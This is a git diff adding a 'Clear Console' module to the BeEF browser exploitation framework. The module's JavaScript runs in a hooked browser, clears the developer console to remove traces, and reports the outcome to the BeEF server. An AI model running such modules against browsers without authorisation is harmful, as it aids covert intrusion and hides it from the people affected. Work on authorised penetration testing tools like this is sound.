diff --git a/modules/browser/hooked_domain/clear_console/command.js b/modules/browser/hooked_domain/clear_console/command.js new file mode 100644 index 000000000..8d5265979 --- /dev/null +++ b/modules/browser/hooked_domain/clear_console/command.js @@ -0,0 +1,15 @@ +// +// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + try { + beef.debug("Clearing console..."); + console.clear(); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console"); + } catch(e) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console"); + } +}); diff --git a/modules/browser/hooked_domain/clear_console/config.yaml b/modules/browser/hooked_domain/clear_console/config.yaml new file mode 100644 index 000000000..74c4ad089 --- /dev/null +++ b/modules/browser/hooked_domain/clear_console/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + clear_console: + enable: true + category: ["Browser", "Hooked Domain"] + name: "Clear Console" + description: "This module clears the Chrome developer console buffer." + authors: ["bcoles"] + target: + user_notify: ["C"] + not_working: ["All"] + diff --git a/modules/browser/hooked_domain/clear_console/module.rb b/modules/browser/hooked_domain/clear_console/module.rb new file mode 100644 index 000000000..2de94608d --- /dev/null +++ b/modules/browser/hooked_domain/clear_console/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Clear_console < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end